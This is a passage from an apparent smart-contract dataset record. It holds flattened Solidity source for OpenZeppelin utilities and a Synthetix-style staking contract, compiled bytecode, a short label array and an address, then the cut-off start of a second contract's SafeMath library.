insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } /// SPDX-License-Identifier: GPL-3.0 // Docgen-SOLC: 0.8.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/security/Pausable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "../interfaces/IStakingRewards.sol"; import "../interfaces/IRewardsEscrow.sol"; // https://docs.synthetix.io/contracts/source/contracts/stakingrewards contract Staking is IStakingRewards, Ownable, ReentrancyGuard, Pausable { using SafeMath for uint256; using SafeERC20 for IERC20; /* ========== STATE VARIABLES ========== */ IERC20 public rewardsToken; IERC20 public stakingToken; IRewardsEscrow public rewardsEscrow; uint256 public periodFinish = 0; uint256 public rewardRate = 0; uint256 public rewardsDuration = 7 days; uint256 public lastUpdateTime; uint256 public rewardPerTokenStored; // duration in seconds for rewards to be held in escrow uint256 public escrowDuration; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; mapping(address => bool) public rewardDistributors; uint256 private _totalSupply; mapping(address => uint256) private _balances; /* ========== CONSTRUCTOR ========== */ constructor( IERC20 _rewardsToken, IERC20 _stakingToken, IRewardsEscrow _rewardsEscrow ) { rewardsToken = _rewardsToken; stakingToken = _stakingToken; rewardsEscrow = _rewardsEscrow; rewardDistributors[msg.sender] = true; escrowDuration = 365 days; _rewardsToken.safeIncreaseAllowance(address(_rewardsEscrow), type(uint256).max); } /* ========== VIEWS ========== */ function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function lastTimeRewardApplicable() public view override returns (uint256) { return block.timestamp < periodFinish ? block.timestamp : periodFinish; } function rewardPerToken() public view override returns (uint256) { if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.add( lastTimeRewardApplicable().sub(lastUpdateTime).mul(rewardRate).mul(1e18).div(_totalSupply) ); } function earned(address account) public view override returns (uint256) { return _balances[account].mul(rewardPerToken().sub(userRewardPerTokenPaid[account])).div(1e18).add(rewards[account]); } function getRewardForDuration() external view override returns (uint256) { return rewardRate.mul(rewardsDuration); } /* ========== MUTATIVE FUNCTIONS ========== */ function stakeFor(uint256 amount, address account) external { _stake(amount, account); } function stake(uint256 amount) external override { _stake(amount, msg.sender); } function _stake(uint256 amount, address account) internal nonReentrant whenNotPaused updateReward(account) { require(amount > 0, "Cannot stake 0"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); stakingToken.safeTransferFrom(msg.sender, address(this), amount); emit Staked(account, amount); } function withdraw(uint256 amount) public override nonReentrant updateReward(msg.sender) { require(amount > 0, "Cannot withdraw 0"); _totalSupply = _totalSupply.sub(amount); _balances[msg.sender] = _balances[msg.sender].sub(amount); stakingToken.safeTransfer(msg.sender, amount); emit Withdrawn(msg.sender, amount); } function getReward() public override nonReentrant updateReward(msg.sender) { uint256 reward = rewards[msg.sender]; if (reward > 0) { rewards[msg.sender] = 0; uint256 payout = reward / uint256(10); uint256 escrowed = payout * uint256(9); rewardsToken.safeTransfer(msg.sender, payout); rewardsEscrow.lock(msg.sender, escrowed, escrowDuration); emit RewardPaid(msg.sender, reward); } } function exit() external override { withdraw(_balances[msg.sender]); getReward(); } /* ========== RESTRICTED FUNCTIONS ========== */ function setEscrowDuration(uint256 duration) external onlyOwner { emit EscrowDurationUpdated(escrowDuration, duration); escrowDuration = duration; } function notifyRewardAmount(uint256 reward) external override updateReward(address(0)) { require(rewardDistributors[msg.sender], "not authorized"); if (block.timestamp >= periodFinish) { rewardRate = reward.div(rewardsDuration); } else { uint256 remaining = periodFinish.sub(block.timestamp); uint256 leftover = remaining.mul(rewardRate); rewardRate = reward.add(leftover).div(rewardsDuration); } // handle the transfer of reward tokens via `transferFrom` to reduce the number // of transactions required and ensure correctness of the reward amount IERC20(rewardsToken).safeTransferFrom(msg.sender, address(this), reward); // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 balance = rewardsToken.balanceOf(address(this)); require(rewardRate <= balance.div(rewardsDuration), "Provided reward too high"); lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); emit RewardAdded(reward); } // Modify approval for an address to call notifyRewardAmount function approveRewardDistributor(address _distributor, bool _approved) external onlyOwner { emit RewardDistributorUpdated(_distributor, _approved); rewardDistributors[_distributor] = _approved; } // Added to support recovering LP Rewards from other systems such as BAL to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner { require(tokenAddress != address(stakingToken), "Cannot withdraw the staking token"); require(tokenAddress != address(rewardsToken), "Cannot withdraw the rewards token"); IERC20(tokenAddress).safeTransfer(owner(), tokenAmount); emit Recovered(tokenAddress, tokenAmount); } function setRewardsDuration(uint256 _rewardsDuration) external onlyOwner { require( block.timestamp > periodFinish, "Previous rewards period must be complete before changing the duration for the new period" ); rewardsDuration = _rewardsDuration; emit RewardsDurationUpdated(rewardsDuration); } function setRewardsEscrow(address _rewardsEscrow) external onlyOwner { emit RewardsEscrowUpdated(address(rewardsEscrow), _rewardsEscrow); rewardsEscrow = IRewardsEscrow(_rewardsEscrow); } /* ========== MODIFIERS ========== */ modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } /* ========== EVENTS ========== */ event RewardAdded(uint256 reward); event Staked(address indexed user, uint256 amount); event RewardsEscrowUpdated(address _previous, address _new); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); event RewardsDurationUpdated(uint256 newDuration); event EscrowDurationUpdated(uint256 _previousDuration, uint256 _newDuration); event Recovered(address token, uint256 amount); event RewardDistributorUpdated(address indexed distributor, bool approved); } // SPDX-License-Identifier: GPL-3.0 // Docgen-SOLC: 0.8.0 pragma solidity >0.6.0; interface IRewardsEscrow { function lock( address _address, uint256 _amount, uint256 duration ) external; } // SPDX-License-Identifier: GPL-3.0 // Docgen-SOLC: 0.8.0 pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // https://docs.synthetix.io/contracts/source/interfaces/istakingrewards interface IStakingRewards { // Views function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; function notifyRewardAmount(uint256 reward) external; }
0x608060405234801561001057600080fd5b506004361061020a5760003560e01c80637b0a47ee1161012a578063cc1a378f116100bd578063e465fe801161008c578063ebe2b12b11610071578063ebe2b12b146103cb578063f2157932146103d3578063f2fde38b146103db5761020a565b8063e465fe80146103b0578063e9fad8ee146103c35761020a565b8063cc1a378f14610385578063cd3daf9d14610398578063d1af0c7d146103a0578063df136d65146103a85761020a565b80638da5cb5b116100f95780638da5cb5b1461034f578063a694fc3a14610357578063a9c12f0c1461036a578063c8f33c911461037d5761020a565b80637b0a47ee1461031957806380faa57d146103215780638980f11f146103295780638b8763471461033c5761020a565b80633d18b912116101a25780635c975abb116101715780635c975abb146102d457806370a08231146102e9578063715018a6146102fc57806372f702f3146103045761020a565b80633d18b9121461029e57806351746bb2146102a657806356c90955146102b957806357c2c2ba146102cc5761020a565b80632e1a7d4d116101de5780632e1a7d4d1461025b578063321bc34714610270578063386a9525146102835780633c6b16ab1461028b5761020a565b80628cc2621461020f5780630700037d1461023857806318160ddd1461024b5780631c1f78eb14610253575b600080fd5b61022261021d366004611472565b6103ee565b60405161022f9190611a1a565b60405180910390f35b610222610246366004611472565b61046e565b610222610480565b610222610487565b61026e610269366004611507565b6104a5565b005b61026e61027e366004611507565b6105f0565b61022261066f565b61026e610299366004611507565b610675565b61026e6108a9565b61026e6102b4366004611537565b610a58565b61026e6102c736600461148c565b610a66565b610222610b11565b6102dc610b17565b60405161022f919061160a565b6102226102f7366004611472565b610b20565b61026e610b3b565b61030c610b86565b60405161022f919061157e565b610222610b95565b610222610b9b565b61026e6103373660046114c2565b610bb3565b61022261034a366004611472565b610cac565b61030c610cbe565b61026e610365366004611507565b610ccd565b6102dc610378366004611472565b610cda565b610222610cef565b61026e610393366004611507565b610cf5565b610222610d95565b61030c610de3565b610222610df7565b61026e6103be366004611472565b610dfd565b61026e610eb2565b610222610ed3565b61030c610ed9565b61026e6103e9366004611472565b610ee8565b6001600160a01b0381166000908152600c6020908152604080832054600b909252822054610466919061046090670de0b6b3a76400009061045a9061043b90610435610d95565b90611085565b6001600160a01b0388166000908152600f602052604090205490611091565b9061109d565b906110a9565b90505b919050565b600c6020526000908152604090205481565b600e545b90565b60006104a060075460065461109190919063ffffffff16565b905090565b600260015414156104d15760405162461bcd60e51b81526004016104c890611961565b60405180910390fd5b6002600155336104df610d95565b6009556104ea610b9b565b6008556001600160a01b0381161561053157610505816103ee565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b600082116105515760405162461bcd60e51b81526004016104c89061182a565b600e5461055e9083611085565b600e55336000908152600f602052604090205461057b9083611085565b336000818152600f60205260409020919091556003546105a7916001600160a01b0390911690846110b5565b336001600160a01b03167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040516105e09190611a1a565b60405180910390a2505060018055565b6105f86110d9565b6001600160a01b0316610609610cbe565b6001600160a01b03161461062f5760405162461bcd60e51b81526004016104c890611861565b7f21c46a061cb9c101660f51f5c9fc9768c5f6e8cf5dea8ca5cd03cb6db13956f3600a5482604051610662929190611a23565b60405180910390a1600a55565b60075481565b600061067f610d95565b60095561068a610b9b565b6008556001600160a01b038116156106d1576106a5816103ee565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b336000908152600d602052604090205460ff166107005760405162461bcd60e51b81526004016104c8906117f3565b600554421061071f5760075461071790839061109d565b600655610762565b60055460009061072f9042611085565b905060006107486006548361109190919063ffffffff16565b60075490915061075c9061045a86846110a9565b60065550505b60025461077f9061010090046001600160a01b03163330856110dd565b6002546040517f70a0823100000000000000000000000000000000000000000000000000000000815260009161010090046001600160a01b0316906370a08231906107ce90309060040161157e565b60206040518083038186803b1580156107e657600080fd5b505afa1580156107fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081e919061151f565b90506108356007548261109d90919063ffffffff16565b60065411156108565760405162461bcd60e51b81526004016104c890611896565b42600881905560075461086991906110a9565b6005556040517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9061089c908590611a1a565b60405180910390a1505050565b600260015414156108cc5760405162461bcd60e51b81526004016104c890611961565b6002600155336108da610d95565b6009556108e5610b9b565b6008556001600160a01b0381161561092c57610900816103ee565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b336000908152600c60205260409020548015610a5057336000908152600c6020526040812081905561095f600a83611a49565b9050600061096e600983611a69565b60025490915061098d9061010090046001600160a01b031633846110b5565b60048054600a546040517fe2ab691d0000000000000000000000000000000000000000000000000000000081526001600160a01b039092169263e2ab691d926109da9233928792016115e9565b600060405180830381600087803b1580156109f457600080fd5b505af1158015610a08573d6000803e3d6000fd5b50505050336001600160a01b03167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e048684604051610a459190611a1a565b60405180910390a250505b505060018055565b610a6282826110fe565b5050565b610a6e6110d9565b6001600160a01b0316610a7f610cbe565b6001600160a01b031614610aa55760405162461bcd60e51b81526004016104c890611861565b816001600160a01b03167fa852210219105cdf51ee9a33c11dd3d37ec6ea85e55ecff0b25dec123a05667a82604051610ade919061160a565b60405180910390a26001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b600a5481565b60025460ff1690565b6001600160a01b03166000908152600f602052604090205490565b610b436110d9565b6001600160a01b0316610b54610cbe565b6001600160a01b031614610b7a5760405162461bcd60e51b81526004016104c890611861565b610b846000611270565b565b6003546001600160a01b031681565b60065481565b60006005544210610bae576005546104a0565b504290565b610bbb6110d9565b6001600160a01b0316610bcc610cbe565b6001600160a01b031614610bf25760405162461bcd60e51b81526004016104c890611861565b6003546001600160a01b0383811691161415610c205760405162461bcd60e51b81526004016104c890611998565b6002546001600160a01b03838116610100909204161415610c535760405162461bcd60e51b81526004016104c8906119d9565b610c6f610c5e610cbe565b6001600160a01b03841690836110b5565b7f8c1256b8896378cd5044f80c202f9772b9d77dc85c8a6eb51967210b09bfaa288282604051610ca09291906115d0565b60405180910390a15050565b600b6020526000908152604090205481565b6000546001600160a01b031690565b610cd781336110fe565b50565b600d6020526000908152604090205460ff1681565b60085481565b610cfd6110d9565b6001600160a01b0316610d0e610cbe565b6001600160a01b031614610d345760405162461bcd60e51b81526004016104c890611861565b6005544211610d555760405162461bcd60e51b81526004016104c890611648565b60078190556040517ffb46ca5a5e06d4540d6387b930a7c978bce0db5f449ec6b3f5d07c6e1d44f2d390610d8a908390611a1a565b60405180910390a150565b6000600e5460001415610dab5750600954610484565b6104a0610dda600e5461045a670de0b6b3a7640000610dd4600654610dd4600854610435610b9b565b90611091565b600954906110a9565b60025461010090046001600160a01b031681565b60095481565b610e056110d9565b6001600160a01b0316610e16610cbe565b6001600160a01b031614610e3c5760405162461bcd60e51b81526004016104c890611861565b6004546040517fee4ec82b92f0e1fe230e6604a4752fa407a28069f106dc41e53edc28c4bc504e91610e7b916001600160a01b03909116908490611592565b60405180910390a16004805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b336000908152600f6020526040902054610ecb906104a5565b610b846108a9565b60055481565b6004546001600160a01b031681565b610ef06110d9565b6001600160a01b0316610f01610cbe565b6001600160a01b031614610f275760405162461bcd60e51b81526004016104c890611861565b6001600160a01b038116610f4d5760405162461bcd60e51b81526004016104c8906116cb565b610cd781611270565b600081846001600160a01b031663dd62ed3e30866040518363ffffffff1660e01b8152600401610f87929190611592565b60206040518083038186803b158015610f9f57600080fd5b505afa158015610fb3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd7919061151f565b610fe19190611a31565b90506110668463095ea7b360e01b85846040516024016110029291906115d0565b60408051601f198184030181529190526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fffffffff00000000000000000000000000000000000000000000000000000000909316929092179091526112cd565b50505050565b606061107b848460008561135c565b90505b9392505050565b600061107e8284611a88565b600061107e8284611a69565b600061107e8284611a49565b600061107e8284611a31565b6110d48363a9059cbb60e01b84846040516024016110029291906115d0565b505050565b3390565b611066846323b872dd60e01b858585604051602401611002939291906115ac565b600260015414156111215760405162461bcd60e51b81526004016104c890611961565b600260015561112e610b17565b1561114b5760405162461bcd60e51b81526004016104c8906117bc565b80611154610d95565b60095561115f610b9b565b6008556001600160a01b038116156111a65761117a816103ee565b6001600160a01b0382166000908152600c6020908152604080832093909355600954600b909152919020555b600083116111c65760405162461bcd60e51b81526004016104c890611728565b600e546111d390846110a9565b600e556001600160a01b0382166000908152600f60205260409020546111f990846110a9565b6001600160a01b038084166000908152600f602052604090209190915560035461122691163330866110dd565b816001600160a01b03167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d8460405161125f9190611a1a565b60405180910390a250506001805550565b600080546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000611322826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b031661106c9092919063ffffffff16565b8051909150156110d4578080602001905181019061134091906114eb565b6110d45760405162461bcd60e51b81526004016104c890611904565b60608247101561137e5760405162461bcd60e51b81526004016104c89061175f565b6113878561141c565b6113a35760405162461bcd60e51b81526004016104c8906118cd565b600080866001600160a01b031685876040516113bf9190611562565b60006040518083038185875af1925050503d80600081146113fc576040519150601f19603f3d011682016040523d82523d6000602084013e611401565b606091505b5091509150611411828286611422565b979650505050505050565b3b151590565b6060831561143157508161107e565b8251156114415782518084602001fd5b8160405162461bcd60e51b81526004016104c89190611615565b80356001600160a01b038116811461046957600080fd5b600060208284031215611483578081fd5b61107e8261145b565b6000806040838503121561149e578081fd5b6114a78361145b565b915060208301356114b781611ae1565b809150509250929050565b600080604083850312156114d4578182fd5b6114dd8361145b565b946020939093013593505050565b6000602082840312156114fc578081fd5b815161107e81611ae1565b600060208284031215611518578081fd5b5035919050565b600060208284031215611530578081fd5b5051919050565b60008060408385031215611549578182fd5b823591506115596020840161145b565b90509250929050565b60008251611574818460208701611a9f565b9190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b6001600160a01b039390931683526020830191909152604082015260600190565b901515815260200190565b6000602082528251806020840152611634816040850160208701611a9f565b601f01601f19169190910160400192915050565b60208082526058908201527f50726576696f7573207265776172647320706572696f64206d7573742062652060408201527f636f6d706c657465206265666f7265206368616e67696e67207468652064757260608201527f6174696f6e20666f7220746865206e657720706572696f640000000000000000608082015260a00190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201527f6464726573730000000000000000000000000000000000000000000000000000606082015260800190565b6020808252600e908201527f43616e6e6f74207374616b652030000000000000000000000000000000000000604082015260600190565b60208082526026908201527f416464726573733a20696e73756666696369656e742062616c616e636520666f60408201527f722063616c6c0000000000000000000000000000000000000000000000000000606082015260800190565b60208082526010908201527f5061757361626c653a2070617573656400000000000000000000000000000000604082015260600190565b6020808252600e908201527f6e6f7420617574686f72697a6564000000000000000000000000000000000000604082015260600190565b60208082526011908201527f43616e6e6f742077697468647261772030000000000000000000000000000000604082015260600190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526018908201527f50726f76696465642072657761726420746f6f20686967680000000000000000604082015260600190565b6020808252601d908201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60408201527f6f74207375636365656400000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604082015260600190565b60208082526021908201527f43616e6e6f7420776974686472617720746865207374616b696e6720746f6b656040820152603760f91b606082015260800190565b60208082526021908201527f43616e6e6f7420776974686472617720746865207265776172647320746f6b656040820152603760f91b606082015260800190565b90815260200190565b918252602082015260400190565b60008219821115611a4457611a44611acb565b500190565b600082611a6457634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a8357611a83611acb565b500290565b600082821015611a9a57611a9a611acb565b500390565b60005b83811015611aba578181015183820152602001611aa2565b838111156110665750506000910152565b634e487b7160e01b600052601160045260246000fd5b8015158114610cd757600080fdfea2646970667358221220ba94366eb2e11303ba499dd04941db0de39e74beb34eb0eea6a2e5503a0caf7364736f6c63430008010033
[ 13, 4, 7 ]
0xf3a91464a870f464254515bb0063405b61db7229
pragma solidity ^0.6.6; /* 🔗 LOOT LINKS 🖥 Website: https://lootproject.com/ 💬 Discord: https://discord.com/invite/Q5KGjftshm */ /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by 